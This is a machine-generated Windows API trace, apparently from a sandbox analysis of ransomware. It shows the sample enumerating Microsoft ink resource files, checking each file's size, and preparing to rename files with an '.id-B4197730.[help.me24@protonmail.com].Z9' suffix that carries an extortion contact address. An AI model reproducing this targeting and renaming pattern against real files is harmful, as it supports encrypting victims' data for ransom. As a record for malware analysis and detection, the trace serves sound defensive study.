	[0189.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.210] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.211] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=2560) returned 1
	[0189.211] CloseHandle (hObject=0x358) returned 1
	[0189.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20
	[0189.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.211] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.211] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=9216) returned 1
	[0189.212] CloseHandle (hObject=0x358) returned 1
	[0189.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20
	[0189.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.212] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.212] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=10752) returned 1
	[0189.212] CloseHandle (hObject=0x358) returned 1
	[0189.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20
	[0189.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.213] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.213] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=3072) returned 1
	[0189.213] CloseHandle (hObject=0x358) returned 1
	[0189.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20
	[0189.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.214] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.214] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=3072) returned 1
	[0189.214] CloseHandle (hObject=0x358) returned 1
	[0189.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20
	[0189.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.215] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.215] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.215] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=44032) returned 1
	[0189.215] CloseHandle (hObject=0x358) returned 1
	[0189.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20
	[0189.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.215] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.216] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.216] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.216] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=5120) returned 1
	[0189.216] CloseHandle (hObject=0x358) returned 1
	[0189.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20
	[0189.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.216] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.217] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.217] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.217] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=2560) returned 1
	[0189.217] CloseHandle (hObject=0x358) returned 1
	[0189.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui")) returned 0x20
	[0189.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.217] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.218] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.218] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.218] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=25088) returned 1
	[0189.218] CloseHandle (hObject=0x358) returned 1
	[0189.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20
	[0189.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.218] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.218] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.219] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=9728) returned 1
	[0189.219] CloseHandle (hObject=0x358) returned 1
	[0189.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20
	[0189.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.219] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.220] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=3584) returned 1
	[0189.220] CloseHandle (hObject=0x358) returned 1
	[0189.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20
	[0189.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.220] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.221] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=10752) returned 1
	[0189.221] CloseHandle (hObject=0x358) returned 1
	[0189.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20
	[0189.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.221] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.222] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=10752) returned 1
	[0189.222] CloseHandle (hObject=0x358) returned 1
	[0189.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui")) returned 0x20
	[0189.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.222] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.222] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.222] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.222] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=10752) returned 1
	[0189.223] CloseHandle (hObject=0x358) returned 1
	[0189.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui")) returned 0x20
	[0189.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.223] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.223] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=10240) returned 1
	[0189.224] CloseHandle (hObject=0x358) returned 1
	[0189.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui")) returned 0x20
	[0189.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.224] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0189.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.225] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=804864) returned 1
	[0189.225] CloseHandle (hObject=0x358) returned 1
	[0189.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe")) returned 0x20
	[0189.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.225] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.226] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=11264) returned 1
	[0189.226] CloseHandle (hObject=0x358) returned 1
	[0189.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui")) returned 0x20
	[0189.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.226] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.574] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=11264) returned 1
	[0189.574] CloseHandle (hObject=0x358) returned 1
	[0189.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui")) returned 0x20
